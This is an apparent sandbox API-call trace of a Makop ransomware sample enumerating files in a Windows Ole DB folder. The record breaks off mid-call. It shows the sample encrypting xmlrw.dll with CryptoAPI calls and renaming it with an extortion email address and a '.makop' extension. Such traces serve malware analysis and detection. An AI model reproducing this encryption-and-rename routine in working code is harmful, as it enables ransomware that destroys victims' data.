[0103.748] GetLastError () returned 0x5 [0103.748] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0103.748] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0103.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.749] GetLastError () returned 0x5 [0103.749] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0103.750] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0103.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.750] GetLastError () returned 0x5 [0103.750] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0103.750] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0103.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.750] GetLastError () returned 0x5 [0103.750] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0103.751] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.751] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0103.751] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0103.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.751] GetLastError () returned 0x5 [0103.751] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0103.751] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0103.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.756] GetLastError () returned 0x5 [0103.756] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0103.756] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0103.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.757] GetLastError () returned 0x5 [0103.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0103.757] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0103.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.757] GetLastError () returned 0x5 [0103.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0103.757] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0103.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.758] GetLastError () returned 0x5 [0103.758] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0103.758] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0103.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.759] GetLastError () returned 0x5 [0103.759] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0103.759] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0103.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.760] GetLastError () returned 0x5 [0103.760] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0103.760] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0103.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.760] GetLastError () returned 0x5 [0103.760] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0103.760] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0103.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.762] GetLastError () returned 0x5 [0103.762] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0103.762] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0103.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.762] GetLastError () returned 0x5 [0103.762] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0103.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 56 [0103.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.763] GetLastError () returned 0x5 [0103.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0103.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0103.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.763] GetLastError () returned 0x5 [0103.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0103.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 55 [0103.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.764] GetLastError () returned 0x5 [0103.764] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0103.764] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 55 [0103.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.764] GetLastError () returned 0x5 [0103.764] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0103.764] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll") returned 53 [0103.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.766] GetProcessHeap () returned 0x48a0000 [0103.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.767] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.771] GetProcessHeap () returned 0x48a0000 [0103.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0103.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0103.772] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.772] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0103.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.772] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.772] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.773] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x44e18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x44e18, lpOverlapped=0x0) returned 1 [0103.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44e20, dwBufLen=0x44e20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44e20) returned 1 [0103.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x44e20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x44e20, lpOverlapped=0x0) returned 1 [0103.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.787] SetEndOfFile (hFile=0xf0) returned 1 [0103.793] GetProcessHeap () returned 0x48a0000 [0103.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0103.793] GetProcessHeap () returned 0x48a0000 [0103.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0103.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.795] CloseHandle (hObject=0xf0) returned 1 [0103.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0103.795] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll") returned 56 [0103.795] CreateFileW 